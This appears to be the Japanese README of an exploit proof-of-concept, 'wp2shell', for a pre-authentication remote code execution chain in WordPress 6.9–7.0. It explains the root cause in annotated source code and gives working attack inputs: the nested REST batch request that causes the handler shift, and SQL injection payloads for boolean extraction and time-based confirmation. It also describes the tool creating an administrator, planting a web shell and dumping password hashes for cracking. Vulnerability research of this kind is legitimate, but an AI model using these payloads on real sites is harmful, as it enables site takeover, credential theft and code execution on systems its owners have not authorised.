
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPressコアの未認証RCE
REST API の バッチルート混同 (CVE-2026-63030) と
WP_Queryauthor__not_inSQL インジェクション (CVE-2026-60137) を連鎖させ、デフォルトの WordPress インストールに対する 事前認証リモートコード実行 を実現します。発見者: Adam Kues (Assetnote / Searchlight Cyber)、2026-07-17 公開。 アドバイザリ: GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。
| 連鎖 (未認証 RCE) | WordPress 6.9.0 - 6.9.4 および 7.0.0 - 7.0.1 |
| SQLi のみ (支援プラグイン/テーマが必要) | 6.8.0 - 6.8.5 |
| 影響なし | バッチ混同については ≤ 6.8。6.9.5 / 7.0.2 / 7.1-beta2 (パッチ済み) |
| 前提条件 | REST API に到達可能。永続オブジェクトキャッシュなし (Redis/Memcached)。公開済み投稿が 1 件以上 |
| 必要な認証 | なし |
| 影響 | 未認証 → 新しい管理者の作成 → コード実行 (SQLi は管理者ハッシュも取得) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests 依存なし、壊れた機能もありません。shell は、単一投稿 UNION 混同で偽の WP_Post を偽造し、カスタマイザーを橋渡しして新しい管理者を作成 (POST /wp/v2/users)、ログインし、トークンゲート付きウェブシェルを配置します。SQLi による管理者ハッシュのダンプ (read --preset users) は、検証済みの第 2 の経路として残されています。block_cannot_read)。非破壊的な check の主要シグナルとして使用。sqli)。$wp$2y$ パスワードハッシュ用の hashcat モード (-m 35500)。wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
このツールが参照する 6 つの公開 PoC はここに同梱されていません。クレジット にリンクがあります。
以下はすべてローカル Docker ラボで検証済みです (§4 を参照)。ラボで実行されなかった主張は、その旨が明記されています。
この連鎖は 2 つの独立したバグを組み合わせたものです。行番号は実際の WordPress
6.9.4 ソースからのものです (wordpress:6.9.4-apache から抽出)。
author__not_in SQL インジェクション (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
文字列の author__not_in は is_array() ガード (2404) をすり抜けます。implode(',', (array)"…") はそれをそのまま返し (2408)、SQL に直接連結されます
(2409)。兄弟にあたる author__in (2415) は implode の内側で array_map('absint', …)
を再適用しており安全です。欠けているのはその array_map 1 つ、これがバグです。
値は ... post_author NOT IN (<value>) ... として挿入されるため、0) <sql>-- - で
リストを閉じて SQL を追加できます。
そこに文字列を渡すのが難しい部分です。REST 投稿エンドポイントは
author_exclude → author__not_in をマッピングしますが (class-wp-rest-posts-controller.php:247)、整数の 'type' => 'array' として宣言しているため、コアは文字列を変換/拒否します:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
だからこそ、バグ A 単独では*「支援あり」*の状態に過ぎません。バグ B が 6.9+ で検証をすり抜けて文字列を送り込みます。
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
WP_Error サブリクエストは $validation[] (1752) にはプッシュされますが、$matches[] にはプッシュされません (1753 の continue が 1757 をスキップするため)。その結果 $matches は短くなり、$matches[$i] (1841) には次のリクエストのハンドラーが入ります。リクエスト i はリクエスト i+1 のハンドラーでディスパッチされ、自身のパラメーターと自身の (検証済みの) 検証結果を保持します。
回帰の発生源 (6.8.3 → 6.9.4 の差分で検証): 6.8.3 ではループはすべてのリクエストに対して $matches[] = $match をプッシュし、不正なパスは最初のループで破棄されるため、配列は整列したままで不整合は発生しません。6.9.0 のリファクタリングでこのズレが導入されました。これこそが、6.8.x が「SQLi のみ」であり、RCE チェーンが 6.9.0 から始まる理由です。
パッチはエラーエントリに対しても $matches[] を追加し、再入を堅牢化し、author__not_in を ID リストヘルパーで解析します。(6.9.5 はテスト時に Docker Hub になかったため、これはアドバイザリからの情報であり、ラボ内差分ではありません。)
バッチスキーマは POST/PUT/PATCH/DELETE サブリクエストのみを許可しますが、投稿の get_items (author_exclude シンク) は GET のみです。そのため混同は2 回入れ子になります:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// は不整合のプライマーです (wp_parse_url() が拒否する任意のパスで動作します)。ツールには同じトリックの --variant categories 版も同梱されています。
単一の非破壊的でバージョン非依存のプローブにより、SQLi シンクがオブジェクトキャッシュや WAF でフィルタリングされている場合でも CVE-2026-63030 を確認できます。不整合により POST /wp/v2/posts が ブロックレンダラーの権限コールバックによって応答される、POST サブリクエストのバッチを使います:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check はこれを主要シグナルとして使用します (構造的な投稿対タグの形状をフォールバックとして)。(検出手法: Hadrian / Icex0。)
値は NOT IN (<value>) の中にあり、これはクリーンなブールオラクルです。0) AND (<cond>)-- - は <cond> が真の場合にのみ行を返します。抽出は ASCII(SUBSTRING(COALESCE((expr),''),n,1)) に対する 1 文字ずつのバイナリサーチです (COALESCE により、NULL が空読み取りに短絡するのを防ぎます)。
ラボメモ - 時間ベースは注意が必要。 単純な
0) OR SLEEP(n)-- -はデフォルトインストールでは遅延が発生しません。公開済みの行が最初にクエリを満たし、ORを短絡させるためです。確認は決定的なブール差分を使用します。タイミングは0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -を使います。実測 0.01 秒 vs 3.04 秒。